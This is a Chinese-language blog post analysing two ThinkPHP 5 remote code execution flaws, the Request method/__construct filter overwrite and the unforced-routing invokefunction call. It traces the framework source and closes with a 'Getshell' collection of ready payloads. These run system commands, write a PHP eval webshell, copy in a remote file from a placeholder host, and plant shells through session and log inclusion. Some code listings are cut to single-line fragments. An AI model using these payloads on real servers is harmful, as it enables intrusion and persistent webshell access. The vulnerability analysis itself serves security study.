前言
开始前可以看一下大佬的Thinkphp5 源码阅读 了解thinkphp5的基本运行流程。
thinphp的rce方法在不同版本利用方式不同,但主要的rce原因有两个:
thinkphp/library/think/Request.php
中method方法可控制该类的任意方法导致核心属性filter
被覆盖而导致RCE- 未开启强制路由导致rce
下面我对这两种方法分别进行分析。
method __contruct导致的rce
环境使用的是thinkphp5.0.22,官方下载链接
开启debug模式下RCE
该版本默认的debug是关闭的,debug是否关闭都有rce的方法为了更好的讲解该漏洞我们首先把debug开启。看看在debug下如何RCE。
thinkphp首先使用我们的payload测试一下:
1 | http://easy.test/thinkphp_5.0.22_with_extend_3/public/index.php |
如下图成功执行命令:
没有问题后我们开始漏洞分析:
先简单看一下流程thinkphp/library/think/App.php
下的run
方法,下面部分默认没有跳入的代码省略。
1 | public static function run(Request $request = null) |
首先初始化$request
这个大数组,self::initCommon();
初始化公共配置。未设置调度信息则进行 URL 路由检测self::routeCheck($request, $config);
默认进入。
我们来看看routeCheck
方法:
1 | public static function routeCheck($request, array $config) |
这里并不重要简单的说一下整个流程进入if语句块,如果有路由缓存会读路由缓存,没有的话会读/application/route.php
导入路由,经过Route::check()
后,会拿$config['url_route_must']
来判断是否是强路由。而默认不适用强路为false
,而如果是强路由会抛出throw new RouteNotFoundException()
异常,如果没有开启强路由会进入Route::parseUrl($path, $depr, $config['controller_auto_search'])
自动解析模块/控制器/操作/参数
这里我们主要关注其Route::check()
方法在这里我们可以看到前文说到的该漏洞触发的调用核心方法method
方法
1 | $method = strtolower($request->method()); |
跟进该方法看看:
位于thinkphp/library/think/Request.php
中
通过上图可以看出通过POST一个_method
参数,即可进入判断,并执行$this->{$this->method}($_POST)
语句。因此通过指定_method
即可完成对该类的任意方法的调用,其传入对应的参数即对应的$_POST
数组。
这里可利用方法为__construct
方法:
1 | protected function __construct($options = []) |
可以看出其调用foreach
方法对Request
的成员属性替换成options
数组中对应的值,而正是我们传入POST数组。
其中$this->filter
保存着全局过滤规则,使用我们的payload覆盖后相关的变量变为:
1 | $this |
我们放回run
方法中。当我们开始debug模式的时候我们可以看到其会调用
$request->param()
方法
更进该方法:
1 | public function param($name = '', $default = null, $filter = '') |
$this->param
通过array_merge
将当前请求参数和URL地址中的参数合并。而前面已经通过__construct
设置了$this->get
为ipconfg
。此后$this->param
其值被设置为:
1 | array (size=1) |
然后执行input
方法
1 |
|
这里的data正是前面的$this->param
进入array_walk_recursive($data, [$this, 'filterValue'], $filter);
调用filterValue
跟上该方法:
看到这里应该都懂了回调函数调用我们的精心构造的值最终导致了RCE。
小坑
这里虽然表面上可以通过调用回调函数执行任意任意代码,但并非所有函数都可以。比如我们使用assert
函数来执行phpinfo()
命令。
你会发现执行失败,在debug开启下我们可以清晰的看到其报错原因:
这个POST在哪里来的?
其实在上面param
方法的时候我故意讲漏了一点:
这里在调用了一次method
方法:
1 | public function method($method = false) |
进入server
方法
1 | public function server($name = '', $default = null, $filter = '') |
可以看到其再去调用了input
方法:
本质就是取name
数组中的REQUEST_METHOD
的值
我们上面使用的payload后该值为REQUEST_METHOD
为POST
最后带进入call_user_func('assert','POST')
引发开始的那个报错,剩下的代码也停止了执行。非常有趣的一点是system
在上面这种情况并不会报错。如下测试代码;
1 |
|
没有这个system这个命令php并不会报错而是执行下去,正是这个特征才使得我们进入第二次input函数中执行我们的payload。
但是因为可以使用变量覆盖,所以其实我们其实也可以直接把REQUEST_METHOD
变量覆盖成我们想要的值。这里就可以得到一个更加通用的payload:
1 | http://easy.test/thinkphp_5.0.22_with_extend_3/public/index.php |
未开启debug模式下RCE
thinkphp5.2.2默认是未开启debug的,其实rce的原理也一样。这里只讲解和开启debug的一些不同的地方。
thinkphp/library/think/App.php
下我们继续看exec
方法
$data = self::exec($dispatch, $config);
从中开启debug模式哪里分析我们可以得到要想rce一个重要点就是进入这里面的Request::param()
方法中。
在在thinkphp5完整版中官网揉进去了一个验证码的路由,也就是我们常见payload中的s=captcha
其$dispatch['type']
就是method
进入该分支。值得注意的是我们请求的路由是?s=captcha
,它对应的注册规则为\think\Route::get
。在method
方法结束后,返回的$this->method
值应为get
这样才能不出错,所以payload中有个method=get
剩下的和前面的debug的下流程一模一样了最后附上最终payload:
1 | http://easy.test/thinkphp_5.0.22_with_extend_3/public/index.php?s=captcha |
未开启强制路由命令执行
这个比上面这个理解起来则容易得多了。漏洞的根本原因在于框架对控制器没有进行足够的检查导致了任意调用类的方法最终导致RCE.
首先我们可以看到默认配置中强制路由是默认关闭的:
小s是兼容模式变量名称,是可以通过配置文件更改的。
payload如下:
1 | http://easy.test/thinkphp_5.0.22_with_extend_3/public/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=dir |
我们先简单分析一下路由在解析的整个流程
从thinkphp/library/think/App.php
开始前面有些细节已经讲过这里就不多做细说了,首先进入self::routeCheck($request, $config);
中。
1 | public static function routeCheck($request, array $config) |
进入if语句块,如果有路由缓存会读路由缓存,没有的话会读/application/route.php
导入路由,经过Route::check()
后,会拿$config['url_route_must']
来判断是否是强路由,如果是强路由会抛出throw new RouteNotFoundException()
异常。到这里也就可以看到为什么开启强路由不行了。
并非注册路由这里经过Route::check
会放回False,会进入Route::parseUrl($path, $depr, $config['controller_auto_search'])
自动解析模块/控制器/操作/参数
。
我们更进查看:
$depr
在配置文件中可以查看到为/
,先把$url中的/
替换成|
然后给self::parseUrlPath()
方法进行处理。更进查看:
1 | private static function parseUrlPath($url) |
首先是把$url
中的|
替换成为/
,然后通过/
作为分隔符把$url
打乱成为数组。
可以看到最终得到了我们想要访问的方法:
然后返回我们的主方法中进入应用调度方法App::exec()
,然后进入module
模块:
其中会调用App内的静态方法通过反射实现调用模块/控制器/操作。
我们看self::module
方法中的最后一行:
return self::invokeMethod($call, $vars);
查看self::invokeMethod($call, $vars);
方法
1 | public static function invokeMethod($method, $vars = []) |
在invokeMethod()
中,创建反射方法$reflect = new \ReflectionMethod($class, $method[1]);
,获取反射函数$args = self::bindParams($reflect, $vars);
,接着记录日志后调用$reflect->invokeArgs(isset($class) ? $class : null, $args);
反射调用模块/控制器/操作
中的操作
。
到这里整个流程我们已经结束结束了。我们在thinkphp/library/think/App.php
下写一个方法做一个实验
1 | public function test($a,$b){ |
直接从web进行访问:
可以成功访问到任意类中的方法。
然后我们查看网上该版本最流行的一条payload:
1 | http://easy.test/thinkphp_5.0.22_with_extend_3/public/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=dir |
调用的是thinkphp/library/think/App.php
下的invokefunction
方法。我们更进看看:
1 | /** |
从thinkphp官方注释大家都应该已经看懂该方法怎么利用了。这里就不多说了。
Getshell方法总结
通用payload
参考泡泡师傅的payload:https://xz.aliyun.com/t/3570
版本:ThinkPHP 5.0.0~5.0.23
1 | ?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami |
当然为了更好的检测漏洞不被waf拦截个人更推荐使用var_dump等不敏感的函数进行检测如:
1 | ?s=index/\think\app/invokefunction&function=var_dump&vars[0]=233 |
5.1.x php版本>5.5
1 | tp://127.0.0.1/index.php?s=index/think\request/input?data[]=23333&filter=var_dump |
更进详细的payload可以参考:https://y4er.com/post/thinkphp5-rce/#%E5%8F%82%E8%80%83
Getshell
直接使用echo写
1 | ?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo "%3C?php%20@eval($_POST%5Bcaidao%5D)?%3E" > 2.php |
copy函数
如果对方过滤一些php标签也可以利用该方法Getshell
1 | ?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=copy&vars[1][0]=http://xxx/git.php&vars[1][1]=233.php |
包含session进行Getshell
首先通过phpinfo首先session.save_path
查看session的路径。
session.save_path
如果为空在linux下默认在/tmp下。
然后创建一个session
1 | POST /?s=captcha HTTP/1.1 |
写shell到session中
1 | _method=__construct&filter[]=think\Session::set&method=get&get[]= eval($_POST['x']) &server[]=1 |
包含Session
1 | POST /?s=captcha |
包含日志Getshell
1 | 写shell进日志 |
thinkphp的rce后可以利用的点非常的多也非常的灵活,能够Getshell的方法远不止上面这几种。
后言
终于写完了自已其实对thinkphp5的理解不够深刻,若分析存在那些错误希望各位师傅看到了帮忙指正,感谢!
参考文章
https://xz.aliyun.com/t/6106#toc-3
https://dev-preview.cnblogs.com/Mikasa-Ackerman/p/ThinkPhp-zhiRce-fen-xi.html
https://y4er.com/post/thinkphp5-rce/#%E5%8F%82%E8%80%83
https://y4er.com/post/thinkphp5-source-read/
- 本文作者: EASY
- 本文链接: http://example.com/2020/12/11/thinkphp5-RCE-总结/
- 版权声明: 本博客所有文章除特别声明外,均采用 MIT 许可协议。转载请注明出处!